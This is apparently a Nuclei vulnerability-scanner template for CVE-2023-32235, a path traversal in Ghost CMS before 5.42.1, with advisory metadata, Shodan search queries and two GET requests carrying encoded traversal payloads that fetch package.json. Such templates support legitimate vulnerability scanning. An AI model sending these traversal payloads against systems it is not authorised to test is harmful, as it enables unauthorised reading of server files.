Ghost CMS < 5.42.1 - Path Traversal

id: CVE-2023-32235

info:
  name: Ghost CMS < 5.42.1 - Path Traversal
  author: j3ssie
  severity: high
  description: |
    Ghost before 5.42.1 allows remote attackers to read arbitrary files within the active theme's folder via /assets/built%2F..%2F..%2F/ directory traversal. This occurs in frontend/web/middleware/static-theme.js.
  impact: |
    An attacker can exploit this vulnerability to access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.
  remediation: Fixed in version 5.42.1
  reference:
    - https://github.com/advisories/GHSA-wf7x-fh6w-34r6
    - https://nvd.nist.gov/vuln/detail/CVE-2023-32235
    - https://github.com/TryGhost/Ghost/commit/378dd913aa8d0fd0da29b0ffced8884579598b0f
    - https://github.com/TryGhost/Ghost/compare/v5.42.0...v5.42.1
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-32235
    cwe-id: CWE-22
    epss-score: 0.39078
    epss-percentile: 0.98414
    cpe: cpe:2.3:a:ghost:ghost:*:*:*:*:*:node.js:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ghost
    product: ghost
    framework: node.js
    shodan-query:
      - http.component:"Ghost"
      - http.component:"ghost"
  tags: cve2023,cve,lfi,ghostcms,ghost,node.js,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/assets/built%2F..%2F..%2F/package.json"
      - "{{BaseURL}}/assets/built%2F..%2F..%2F%E0%A4%A/package.json"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"name"'
          - '"version"'
          - '"ghost"'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
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